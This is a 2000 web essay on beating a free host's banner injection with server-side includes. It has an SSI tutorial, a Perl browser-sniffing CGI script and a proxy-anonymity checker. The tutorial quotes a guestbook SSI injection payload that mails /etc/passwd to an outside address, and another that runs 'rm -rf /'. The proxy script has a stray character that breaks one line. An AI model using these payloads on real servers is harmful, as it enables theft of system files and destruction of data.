remobann.gif

Courtesy of fravia's searchlores

free.prohosting.com, banners, & server-side includes
by Alex
June 2000


Fundamental anti-advertisement essay. You need to read this if you are serious about nuking advertisement. A wealth of hints. Some of the code snippet that Alex includes can be easily developed into adhoc anti-advertisement (or else :-) tools...

free.prohosting.com, banners, & server-side includes


Introduction

This brief text describes the quite accidental elimination of vile banners on a free webspace provider. The digression on Server-Side Includes is necessarily brief and superficial - those interested can easily find O'Reilly and other books in html on this and other subjects all over the web - the Slovenian Mirror has several, for example.

Prohosting & its banners

Prohosting is a free webspace provider offering 30Mb (or it did when I created my site). Prohosting's main attractions, apart from a reasonable amount of space, were the use of server-side includes, user cgi scripts, and no obligatory banners - as far as I know, SSI and user CGI scripts are not often available on free hosts. Sad to relate, the last condition has been changed, and Prohosting's new policy is to insert a hideous banner on every page.

I was surprised to learn of this change of policy (long after it had been implemented), as I had seen no banners on any of my pages. All my pages are shtml (see SSI digression below) - some execute CGI scripts (see Anti-M$IE SSI & CGI example below), and almost all include 'boilerplate' code (header and footer html files, for example).

Brief investigation shewed that any cgi script or normal html page accessed directly had the banner code inserted, although the files have not been modified on disk. The inserted banner code is as follows:

<//--><//"--><center>
<a href=http://www.prohosting.com><img src="/banner3.gif" alt=ProHosting.com border=0></a>
</center>
This code appears on a single line immediately after the <body> tag - ie. at the top of every page, where it does maximum damage to the design of your page (it goes without saying that banner3.gif is by no means a thing of beauty). The purpose of the code <//--><//"--> is obscure to me - it may just be a marker.

The server appears to be 'injecting' the banner html into the byte stream 'on the fly' as it responds to the browser's GET request. So how have my pages, accessed the normal way, remained banner-free? It seems that in some way the server-side includes fsck up the banner-insertion mechanism - the first line in each file is some SSI directive; even my index.shtml, which only #exec's a cgi script that in turn inserts a plain html file (which file is M$IE-dependent) into the output stream, is not affected. Some files contain no html at all: this, for example, which just displays an image on a standard page:

<!--#set var="title" value="Image"-->
<!--#include file="head.shtml"-->
<!--#exec cgi="../cgi-bin/disp_img.cgi"--> 
<!--#include file="foot.shtml"-->

Perhaps the banner-injector only scans the requested file, and finding no <body> tag, gives up the unequal struggle - this is mere speculation, but is lent a little force by the fact that the <body> tag appears in no file that is requested in the normal way (index.shtml and the files linked to it), whereas it does, of course, in normal html files and the output of cgi scripts that output complete web pages.

If you want to observe this effect without making your own site on Prohosting, you can look at mine to see bannerless pages, and then access this cgi script directly to see the dread banner.

I imagine Prohosting are doing this 'live' banner injection to avoid the elimination of their ads by the various well known tricks employed on hosts that use bots to edit other people's html. And perhaps, even the bots might be defeated by a wrapper index.shtml that had only one line, thus:

<--#include file='doc/real_index.html'-->

Of course, your host would have to have SSI enabled - if it doesn't, you could always ask the admins to turn it on for you - you never know, they might.

I have no idea why SSI seems to kill Prohosting's banners, but perhaps this will work on other hosts that allow SSI and use a similar method for inserting their ghastly advertisements. The nice thing about this is that the admins have no excuse to punish you, and your pages remain untarnished. Long may it it last.

Since this is all rather thin and inconclusive, I have written a short and incoherent 'digression' on SSI for those that wot not of it, and included an SSI/CGI M$IE sentry, and an anonymous proxy-checking perl cgi script.


SSI digression

Server-Side Includes or Server-Parsed HTML is a method of inserting directives into an HTML document that are evaluated by the server when the page is accessed. Documents containing such directives have an extension of .shtml - it is this extension that lets the server know that it should 'parse' the file, ie. check it for directives, execute them, and then pass the resulting html to the requesting browser, rather than just feed the html directly to the browser, as is normally the case. There are two caveats regarding SSI - it can be a security hazard, and the parsing can put a considerable load on the server.

On the other hand, SSI can be very useful - it is also extremely simple, and can be learnt in perhaps half an hour, although to understand how to use it effectively will probably require some experimentation. All the directives are listed in the nice O'Reilly table below:

SSI Directives

Command

Parameter

Description

echo

var

Inserts value of special SSI variables as well as other environment variables

include

Inserts text of document into current file

file

Pathname relative to current directory

virtual

Virtual path to a document on the server

fsize

file

Inserts the size of a specified file

flastmod

file

Inserts the last modification date and time for a specified file

exec

Executes external programs and inserts output in current document

cmd

Any application on the host

cgi

CGI program

config

Modifies various aspects of SSI

errmsg

Default error message

sizefmt

Format for size of the file

timefmt

Format for dates

(Nice table from CGI Programming on the World Wide Web)

The most commonly used directive is #include, which tells the server to insert the contents of another file at the point where the directive appears. An obvious example is a standard header and footer that appears on every page. Such an shtml file might look as follows:

<!--#include file="head.html"-->
[the body of the page here]
<!--#include file="foot.html"-->

Note that the included files need not have an .shtml extension, but the file in which the directives appear must. All directives start with

<!--#
and end with
-->
ie. they are embedded in comments.

Viewing the source in the browser will give no sign of this chicanery - the code will seem to be that of a normal html page.

I use an included head.html to set the background, text, link, & vlink colours for all my pages - if I ever want to change them, it's very easy - it's all in one place. Of course, you can do more elaborate things, such as having a strip of navigation buttons in a 'header' file, or whatever.

SSI has access to environment variables, as well as special SSI ones. Some environment variables are:

HTTP_USER_AGENT		browser name string
HTTP_REFERRER		url of previous document
REMOTE_HOST		remote hostname of user making request
REMOTE_ADDRESS		remote ip address of user making request
SERVER_SOFTWARE		name and version of software handling request
SERVER_PORT		port no. of host on which server is running

The value of any of these (and other) environment variables can be displayed on a web page with the directive:

<!--#echo var='ENV_VAR'-->

where ENV_VAR is one of the environment variables, eg:

Welcome, my dear visitor from <!--#echo var='REMOTE_ADDR'-->
would produce something like
Welcome, my dear vistor from 218.56.134.78
An example of an SSI variable is LAST_MODIFIED - the code
Document last modified on <--!#echo var="LAST_MODIFIED"-->

will produce

Document last modified on Monday, 22-May-2000 14:01:13 NPT
or whatever the modification date is.

The #flastmod directive is more flexible - it can display the modification date of any file, rather than just that of the current file, thus:

<!--#flastmod file="tgz/perlprog.tar.gz"-->

The #fsize directive displays the size of a file in a similar way.

You can also assign values to your own variables, thus:

<!--#set var="button_name" value="home"-->
and then use them, thus:
<img src="img/<!--#echo var='button_name'-->.png">

which would produce the following html after evaluation:

<img src="img/home.png">

Conditional constructs are also possible (although they seem to have been omitted from O'Reilly's nice table above) - a trivial example:

<!--#set var="location" value="home"
--><!--#if expr="\"$location\" = \"home\""
--><!--#set var="home_button" value="home_lit"
--><!--#else
--><!--#set var="home_button" value="home"
--><!--#endif-->
<img src='img/<!--#echo var="home_button"-->.png'>

Here a value is assigned to the variable location, and depending on its value, text is inserted into the name of the image to be displayed. Obviously, in a real-world example, the variable would be set in one file, and the substitution made in another #include'd file. An example would be a page that set the location variable so that the appropriate button could be lit in a navigation bar whose code is #include'd from another file.

Note that the backslashes are necessary to 'escape' the inner quotes, & the $-sign in $location signifies that it is a variable rather than a literal.

The most powerful (and most dangerous from a security point of view) is the #exec directive. It comes in two flavours, cmd and cgi. The first can execute any program on the host (that httpd (the web server daemon) has permission to execute, I imagine, but I'm not certain), eg:

<!--#exec cmd="uptime"-->
would produce something like
03:19 up 19 days, 7 hours, 4 users, load average 0.02, 0.48, 0.78

having executed the unix uptime command and captured its output.

An example of the syntax for executing a cgi script can be found below, in the M$IE sentry section.

An example of an SSI security hazard is the famous 'guestbook exploit' - many guestbooks allow posters to include html tags to tart up their messages. If SSI is enabled and the guestbook cgi script does not filter SSI directives, it is possible to enter something like:

<!--#exec cmd="mail cracker@hotmail.com < /etc/passwd"-->

which will attempt to email the server's password file to the selected address, not that the passwd file is much use in these days of shadowed passwords; or, more destructively:

<!--#exec cmd="rm -rf /"-->

This exploit is so well known that it is unlikely to work any more, but you never know. Also, the second example (which attempts to delete recursively all the files on the server) is unlikely to to do much, unless httpd is running as root (something so stupid that it is very unlikely to be encountered - or perhaps not), and, in my opinion, mindlessly destructive and indicative of terminal cretinism in the perpetrator (unless, of course, the site constitutes a 'crime against Humanity', and we are nothing if not 'humanitarian' nowadays, as the ruins of Yugoslavia and Iraq, amongst others, so eloquently attest).

NB. To test SSI, the page must be accessed via a server - File->Open will not work. I know of no WYSIWYG web page editor that can emulate SSI, although it would be a very useful feature, and not, I imagine, very difficult to implement. If you use Linux (or any of the other *nices), it is not difficult to get Apache up and running in order to experiment with SSI (remember to add Includes to the appropriate Options line in /etc/httpd/conf/access.conf, or wherever your access.conf is located). The luckless users of a notorious 24-bit OS will have more difficulty getting a web server going on their boxes, I imagine - yet another reason to abandon that sinking ship, as if any more were needed. If you have no local web server, you have no recourse but to upload your files, try them out, admire the 'there was an error processing this directive' message, return to your text editor, and begin the cycle again.


Anti-M$IE SSI & CGI example

index.shtml
<!--#exec cgi="cgi-bin/browser.cgi"-->

This is my M$IE sentry - an shtml file with only one line in it, a directive to execute a cgi script (cgi-bin/browser.cgi). The cgi script outputs an html file, differing depending on the browser accessing the page, and the server inserts it into index.shtml. In fact, you could have browser.cgi in your root directory, called index.cgi, but often only the cgi-bin directory has the requisite permissions for executing cgi scripts - and (at least on Prohosting), a banner will be inserted if the cgi is accessed directly.

browser.cgi (a perl script) is what does the job - it checks the environment variable HTTP_USER_AGENT to see whether the dread letters MSIE are to be found in the name of the user agent (browser accessing the page - the HTTP_USER_AGENT variable is a field in the GET request header sent by the browser to the server; filtering proxies like JunkBuster can be instructed to modify this variable, a very useful feature); if they are found, it 'prints' an html file with various diappointing messages, otherwise it prints the 'normal' index.html. The two files index.html and msie-index.html are ordinary html files. The Perl print command just prints to STDOUT (standard output, normally the console, or screen), but cgi scripts' output is redirected to the server's outgoing byte stream.

The code is as follows:

browser.cgi

#!/usr/bin/perl

print "Content-type:text/html", "\n\n";			# this is for the header - it needs 2 newlines

if ($ENV{'HTTP_USER_AGENT'} =~ /MSIE/) {		# browser name string
	$html_document = "../shtml/msie-index.html";	# fsck off page
} else {
	$html_document = "../shtml/index.html";		# good guy page
}

if (open(HTML, "<".$html_document)) {		# open the file $html_document
	while (<HTML>) {				# while not EOF
		print;					# output the current line
	}
	close (HTML);
}
exit (0);						# exit with 'ok' code

That's it - the M$IE user (or 'victim') gets one page, and users of less repulsive browsers another; and neither sees that there is any other page. This is a trivial example, but it demonstrates the execution of a cgi script from an shtml document, and the script is, perhaps, a little more amusing than the customary 'Hello, World'; the ease with which it does its grim work should serve as an encouragement to any who feel daunted by the prospect of learning Perl.


Proxy Judge

This is a handy cgi perl script included for good measure - it tests the anonymity of your proxy server, displaying relevant environment variables, and rating your anonymity from 1 to 5 (1 being the best, and 5 the worst). I didn't write it, I just found it somewhere. Quite a lot can be learnt from studying the code, I think.

#!/usr/bin/perl

# ProxyJudge V2.27
#
# ANONYMIZER dimdim
# cry@cker.104.net
# http://anonymizer.site.ne.jp/

#-----// title tag //-----#
$title   = 'ProxyJudge V2.27';

#-----// BODY tag //-----#
$body    = 'bgcolor="#000000" text="#ffffff" link="#00ddff" vlink="#ddddff" alink="#0000ff"';

#-----// Warning tag color //----#
$warn    = '#ff0000';

#-----// Suspect tag color //----#
$suspect = 'orange';

#-----// Anony Level color //----#
$levelcolor = 'yellow';

# # # # # # # # # #

$remote_host = $ENV{'REMOTE_HOST'};
$remote_addr = $ENV{'REMOTE_ADDR'};
if ( ($remote_host eq $remote_addr) || ($remote_host eq '') ) {
  $remote_host        = gethostbyaddr(pack('C4', split(/\./, $remote_addr)), 2) || $remote_addr;
  $ENV{'REMOTE_HOST'} = $remote_host;
}

while (($a, $b) = each %ENV) {
  next if ($a !~ /^HTTP_/);
  $b =~ s/\t/ /g;
  push(@dat, "$a=\t$b \t$a=\t$b");
}
@envdat = sort(@dat);

&remotehost_check();
&proxyenv_check();
&spillenv_check();

&judgement();

&html;

exit;

# # # # # # # # # #

#-----// REMOTE_HOST check //----#
sub remotehost_check {
  local(@hostz);

  if ($remote_host eq $remote_addr) {
    $rh_result  = 'IP Addr.';
    $rh_comment = 'I have no idea.';
    return;

  } else {
    $chk_rh = $remote_host;
    if ($chk_rh =~ /www.*cache|www.*proxy|webcache|delegate|gatekeeper|firewall|proxy|cache|squid|^bbs|^http|^www|^web|^dns|^ftp|^mail|^news|^cgi|^gate|^server|^pop|^smtp|^w3\.|^ns\d{0,2}\.|^fw\d{0,2}\./i) {
      $chk_rh     =~ s#$&#<FONT color="$warn">$&</FONT>#;
      $rh_result  = 'Via a Proxy';
      $rh_comment = ' REMOTE_HOST includes proxy server word.';

    } elsif ($chk_rh =~ /server|gate|www|web|dns|ftp|mail|news|cgi|pop|smtp/i) {
      $chk_rh     =~ s#$&#<FONT color="$suspect">$&</FONT>#;
      $rh_result  = '?';
      $rh_comment = ' REMOTE_HOST includes proxy server-like word.';
    }

    @hostz = split(/\./, $chk_rh);
    if ($#hostz == 1) {
      $chk_rh     = "<FONT color=\"$suspect\">$chk_rh</FONT>";
      $rh_result  = '?';
      $rh_comment = " REMOTE_HOST includes only one period, it's dubious.";
      return;

    } elsif ($rh_result ne 'Via a Proxy') {
      if ($hostz[0] !~ /\d/) {
        $hostz[0]    = "<FONT color=\"$suspect\">$hostz[0]</FONT>";
        $rh_result   = '?';
        $rh_comment .= " REMOTE_HOST includes no numbers, it's dubious.";
      } elsif ($hostz[0] =~ /\D\d$/) {
        $hostz[0]    = "<FONT color=\"$suspect\">$hostz[0]</FONT>";
        $rh_result   = '?';
        $rh_comment .= " REMOTE_HOST includes only one number, it's dubious.";
      }
      $chk_rh = join('.', @hostz);
    }
  }
}

# # # # #

#-----// Proxy env. value,User-Agent, Keep-Alive check //----#
sub proxyenv_check {
  local($envdat, $name, $val, $namestat, $valstat);

  foreach $envdat (@envdat) {
    chop($envdat) if ($envdat =~ /\n$/);
    ($name, $val, $namestat, $valstat) = split(/\t/, $envdat);

    if ( ($name eq 'HTTP_USER_AGENT=') && ($val =~ /via/i) ) {
      $valstat  =~ s/via/<FONT color="$warn">via<\/FONT>/i;
      $result   = 'Via a Proxy';
      $comment .= ' USER_AGENT includes "via".';

    } elsif ($name eq 'HTTP_CONNECTION=') {
      if ($val !~ /Keep-Alive/i) {
        $valstat  = "<FONT color=\"$warn\">$valstat</FONT>";
        $result   = 'Anonymized' if ($result ne 'Via a Proxy');
        $comment .= " CONNECTION doesn't have \"Keep-Alive\".";
      } else {
        $noproxy++;
        $keepalive = 'existed';
      }

    } elsif ($name !~ /HTTP_(CONNECTION=|USER_AGENT=|HOST=|PRAGMA=|UA_|ACCEPT|REFERER=|MIME=|EXTENSION=|IF_MODIFIED_SINCE=)/) {

      if ($name !~ /HTTP_(VIA=|.ROXY_.ONNECTION=|X_FORWARDED_FOR=|FORWARDED=|CACHE_CONTROL=|CACHE_INFO=|FROM=|CLIENT_IP=|TE=|SP_HOST=|XONNECTION=)/) {
        $namestat =~ s/$name/<FONT color="$suspect">$name<\/FONT>/i;
        $result   = 'Via a Proxy';
        $comment .= ' Dubious variable is detected.' if ($comment !~ /Dubious/i);
      } else {
        $namestat =~ s/$&/<FONT color="$warn">$&<\/FONT>/i;
        $result   = 'Via a Proxy';
        $comment .= ' Proxy server variable is detected.' if ($comment !~ /Proxy/i);
      }
    } else {
      $noproxy++ if ($name !~ /HTTP_(CONNECTION=|HOST=|PRAGMA=|UA_|ACCEPT|REFERER=|MIME=|EXTENSION=|IF_MODIFIED_SINCE=)/);
    }
    $envdat = "$name\t$val\t$namestat\t$valstat\n";
  }
  return;
}

# # # # #

#-----// Spill IP addr. check //----#
sub spillenv_check {
  local($envdat, $name, $val, $namestat, $valstat);
  local($spill);
  local($hex, $hex_addr);
  local($itself_host, $spill_host);
  local($to_host, $ip_tmp, $to_ip);
  local(%seen, $spill_num);
  local(@temp);

  foreach $envdat (@envdat) {
    chop($envdat) if ($envdat =~ /\n$/);
    ($name, $val, $namestat, $valstat) = split(/\t/, $envdat);

    if ($name !~ /HTTP_(.ONNECTION=|USER_AGENT=|HOST=|PRAGMA=|UA_|ACCEPT|REFERER=|MIME=|EXTENSION=|.ROXY_.ONNECTION=|IF_MODIFIED_SINCE=|CACHE_CONTROL=|CACHE_INFO=)/) {
      $spill = $val;

      $spill =~ s/$remote_host//g;
      $spill =~ s/$remote_addr//g;

      $spill =~ s/\([^\(\)]+\)//g;
      $spill =~ s/ for / /ig;
      $spill =~ s/ by / /ig;
      $spill =~ s/ - / /g;
      $spill =~ s/-\@//g;

      #-----// HTTP_FORWARDED //----#
      if ($spill =~ m#http://#) {
        while ($spill =~ s#http://([^:]+):##i) {
          push(@itself_host, "$1");
        }
      }

      #-----// HTTP_VIA //----#
      if ($name eq 'HTTP_VIA=') {
        while ($spill =~ s# ([^ :]+):# :#i) {
          push(@itself_host, "$1");
        }
      }

      #-----// HTTP_X_FORWARDED_FOR //----#
      if ($name eq 'HTTP_X_FORWARDED_FOR=') {
        while ($spill =~ s#(\d+\.\d+\.\d+\.\d+)\,*# #i) {
          push(@spill_addr, "$1");
        }
      }

      #-----// HTTP_CLIENT_IP //----#
      if ($name eq 'HTTP_CLIENT_IP=') {
        $hex = $spill;
        if ( ($hex !~ /\./) && ($hex =~ s/^([\dA-F]{2})([\dA-F]{2})([\dA-F]{2})([\dA-F]{2})$/$1$2$3$4/i) ) {;
          if (length($hex) == 8) {
            $hex_addr = join('.', hex($1), hex($2), hex($3), hex($4));
            push(@spill_addr, "$hex_addr");
            $valstat .= " -> $hex_addr";
          }
        }
      }
      $spill =~ s/:|\,|;|//g;

      #-----// IP addr. //----#
      if ($spill =~ s/[^a-zA-Z0-9_\-\.]*(\d+)\.(\d+)\.(\d+)\.(\d+)[^a-zA-Z0-9_\-\.]+/$1.$2.$3.$4/i) {
        $spill_addr = "$1.$2.$3.$4";
        push(@spill_addr, "$spill_addr");
      }

      #-----// .***.*** //----#
      if ($spill =~ /\.[^\.]{2,3}\.[a-zA-Z]{2,3}[^a-zA-Z0-9_\-\.]+/) {
        $spill =~ s#([a-zA-Z0-9_\-\.]+)\.([^\.]{2,3})\.([a-zA-Z]{2,3})[^a-zA-Z0-9_\-\.]+#$1.$2.$3#i;
        $spill_addr = "$1.$2.$3";
        push(@spill_addr, "$spill_addr");

      #-----// .*** //----#
      } elsif ($spill =~ /\.[a-zA-Z]{2,3}[^a-zA-Z0-9_\-\.]+/) {
        $spill =~ s#([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,3})[^a-zA-Z0-9_\-\.]+#$1.$2#i;
        $spill_addr = "$1.$2";
        push(@spill_addr, "$spill_addr");
      }
    }
    $envdat = "$name\t$val\t$namestat\t$valstat";
  }
  foreach $spill_addr (@spill_addr) {
    if ($spill_addr !~ /www.*cache|www.*proxy|webcache|delegate|gatekeeper|firewall|proxy|cache|squid|^bbs|^http|^www|^web|^dns|^ftp|^mail|^news|^cgi|^gate|^server|^pop|^smtp|^w3\.|^ns\d{0,2}\.|^fw\d{0,2}\./i) {
      push(@temp, $spill_addr);
    }
  }
  @spill_addr = @temp;
  #-----// Remove Proxy's IP addr. //----#
  foreach $itself_host (@itself_host) {
    next if ($itself_host !~ /\./);
    $itself_host =~ tr/A-Z/a-z/;
    chop($itself_host) if ($itself_host =~ /\n$/);
    foreach $spill_addr (@spill_addr) {
      $spill_addr =~ tr/A-Z/a-z/;
      chop($spill_addr) if ($spill_addr =~ /\n$/);
      if ($itself_host !~ /[a-z]/) {
        $to_host = gethostbyaddr(pack('C4', split(/\./, $itself_host)), 2);
      } else {
        $ip_tmp = (gethostbyname($itself_host))[4];
        $to_ip  = join(".", unpack('C4', $ip_tmp));
      }
      if ( ($itself_host eq $spill_addr) || ($to_host eq $spill_addr) || ($to_ip eq $spill_addr) ) {
        $spill_addr .= ":x";
        next;
      }
    }
    $spill_addr .= "\n";
  }
  foreach $spill_addr (@spill_addr) {
    chop($spill_addr) if ($spill_addr =~ /\n$/);
    if ( ($spill_addr =~ /^127\./) ||
       ($spill_addr =~ /^172\.1[6-9]\./) ||
       ($spill_addr =~ /^172\.2\d\./) ||
       ($spill_addr =~ /^172\.3[0-2]\./) ||
       ($spill_addr =~ /^10\./) ||
       ($spill_addr =~ /^192\.168\./) ||
       ($spill_addr =~ /\.0$/) ||
       ($spill_addr =~ /^0\./) ||
       ($spill_addr =~ /\.255$/) ||
       ($spill_addr =~ /^\d{1,3}\.\d{1,3}\.255\./) ||
       ($spill_addr =~ /^\d{1,3}\.255\./) ||
       ($spill_addr =~ /^255\./) ) {
      $spill_addr .= ':x';
    }
    undef($to_host);
F    undef($to_ip);
    undef($ip_tmp);
    if ($spill_addr !~ /[a-z]/) {
      $to_host = gethostbyaddr(pack('C4', split(/\./, $spill_addr)), 2);
    } else {
      $ip_tmp = (gethostbyname($spill_addr))[4];
      $to_ip  = join(".", unpack('C4', $ip_tmp));
    }
    if ( ($to_host eq $remote_host) || ($to_ip eq $remote_addr) ) {
      $spill_addr .= ":x";
    }
    unless($seen{$spill_addr}++){}
    $spill_addr .= "\n";
  }
  foreach $spill_addr (@spill_addr) {
    chop($spill_addr) if ($spill_addr =~ /\n$/);
    if ($spill_addr !~ /:x/) {
      $spill_num++;
      $your_host = $spill_addr;
    }
  }
  if ($spill_num == 0) {
    $your_host = 'Anonymous';
  } elsif ($spill_num != 1) {
    $your_host = 'Anonymous';
    while (($spill_host, $spill_num) = each %seen) {
      if ($spill_num > 1) {
        $your_host = $spill_host;
        last;
      }
    }
  } else {
    $addr_top = $remote_addr;
    $addr_top =~ s/([^\.]+)\.([^\.]+)\.([^\.]+)\..+/$1\.$2\.$3\./;
    $host_top = $remote_host;
    if ($host_top =~ /\.[^\.]{2,3}\.[^\.]{2,3}$/) {
      $host_top =~ s/[^\.]*\.*([^\.]+)\.([^\.]+)\.([^\.]+)$/$1\.$2\.$3/;
    } else {
      $host_top =~ s/[^\.]*\.*([^\.]+)\.([^\.]+)$/$1\.$2/;
    }
    #-----// ***.***.***.??? //----#
    if ($your_host =~ /^($addr_top[^\. ]+)/) {
      $inner = 'true';

    #-----// ??...??.*** //----#
    } elsif ($your_host =~ /(\.{0,1}$host_top)$/) {
      $inner = 'true';
    }
  }
  return;
}

# # # # #

#-----// Judgement //----#
sub judgement {

  #-----// Low Suspect //----#
  if ( ($noproxy == 2) && ($result eq '') ) {
    $result  = 'No proxy!';
    $comment = 'Like no proxy server.';
  } elsif ( ($result eq '') && ($keepalive eq '') ) {
    $result   = 'Anonymized';
    $comment .= 'No "Connection=Keep-Alive" is dubious';
  }

  #-----// NoProxy //----#
  if ($result eq 'NoProxy!') {
    if ($rh_result eq 'IP Addr.') {
      $judge     = '1';
      $j_comment = 'REMOTE_HOST that is IP addr. is precious.';
    } elsif ($rh_result eq 'Via a Proxy') {
      $judge     = '3';
      $j_comment = 'HTTP valuables are checked first.';
    } elsif ($rh_result eq '?') {
      $judge     = '2';
      $j_comment = 'Persistent variable checkers may suspect.';
    } else {
      $judge     = '2';
      $j_comment = 'Useful proxy server.';
    }

  #-----// Anonymized //----#
  } elsif ($result eq 'Anonymized') {
    if ($rh_result eq 'IP Addr.') {
      $judge     = '2';
      $j_comment = 'Nice. It it useful.';
    } elsif ($rh_result eq 'Via a Proxy') {
      $judge     = '3';
      $j_comment = 'HTTP valuables are checked first.';
    } elsif ($rh_result eq '?') {
      $judge     = '3';
      $j_comment = 'Persistent valuables checkers may suspect.';
    } else {
      $judge     = '2';
      $j_comment = 'Useful proxy server.';
    }

  #-----// Via a Proxy //----#
  } else {
    if ($rh_result eq 'IP Addr.') {
      $judge     = '3';
      $j_comment = 'So-so.';
    } elsif ($rh_result eq 'Via a Proxy') {
      $judge     = '5';
      $j_comment = 'If it is not slow, you can use.';
    } elsif ($rh_result eq '?') {
      $judge     = '3';
      $j_comment = 'So-so.';
    } else {
      $judge     = '4';
      $j_comment = 'If it is not slow, you can use.';
    }
  }

  #-----// SPILL //----#
  if ($your_host ne 'Anonymous') {
    $judge    .= '?';
    if ($inner eq 'true') {
      $j_comment = 'Internal proxy server?';
    } else {
      $j_comment = 'Spill your REMOTE_HOST?';
    }
    $j_comment .= " ($your_host)";
  }
  return;
}

# # # # #

#-----// Generate HTML document //----#
sub html {
  print <<"_HTML_";
Content-type: text/html

<HTML>
<HEAD><TITLE>$title</TITLE></HEAD>
<BODY $body>

<CENTER>$title</CENTER>

<P><HR><P>

<PRE>
_HTML_
  if ($ARGV[0] ne '') {
   print "itself_host : @itself_host<HR>\n";
   print "spill_addr : @spill_addr<HR>\n";
  }
  if ($chk_rh =~ /color="$warn"/) {
    print " <FONT color=\"$warn\">via</FONT>  - REMOTE_HOST=$chk_rh\n";
  } elsif ($chk_rh =~ /color="$suspect"/) {
    print "  <FONT color=\"$suspect\">?</FONT>   - REMOTE_HOST=$chk_rh\n";
  } else {
    print "        REMOTE_HOST=$remote_host\n";
  }
  print "        REMOTE_ADDR=$remote_addr\n\n";
  foreach $envdat (@envdat) {
    $envdat =~ s/^[^\t]+\t[^\t]+\t([^\t]+)\t([^\t]+)/$1$2/;
    if ( ($your_host ne 'Anonymous') && ($envdat =~ /$your_host/) ) {
      print "<FONT color=\"$warn\">SPILL</FONT> - ";
      if ($envdat !~ />$your_host</) {
        $envdat =~ s/$your_host/<FONT color="$warn">$your_host<\/FONT>/i;
      }
    } elsif ($envdat =~ /color="$warn"/) {
      print " <FONT color=\"$warn\">via</FONT>  - ";
    } elsif ($envdat =~ /color="$suspect"/) {
      print "  <FONT color=\"$suspect\">?</FONT>   - ";
    } else {
      print "        ";
    }
    print "$envdat\n";
  }
print <<"_HTML_";
</PRE>

<P><HR><P>

<UL>
<LI>REMOTE_HOST
<DL>
<DT>Result<DD>$rh_result
<DT>Comment<DD>$rh_comment
</DL><P>
<LI>HTTP Env. Value
<DL>
<DT>Result<DD>$result
<DT>Comment<DD>$comment
</DL><P>
<LI>AnonyLevel : <FONT size="+2" color="$levelcolor"><B>$judge</B></FONT> (1:Nice - 5:Bad)<BR>
  $j_comment<P>
</UL>
<P>
$nozoki_warn
<P><HR><P>

</BODY>
</HTML>
_HTML_
  return;
}

__END_

caiaphasp(at)yahoo(point)com

antiadv


(c) 2000: [fravia+], all rights reserved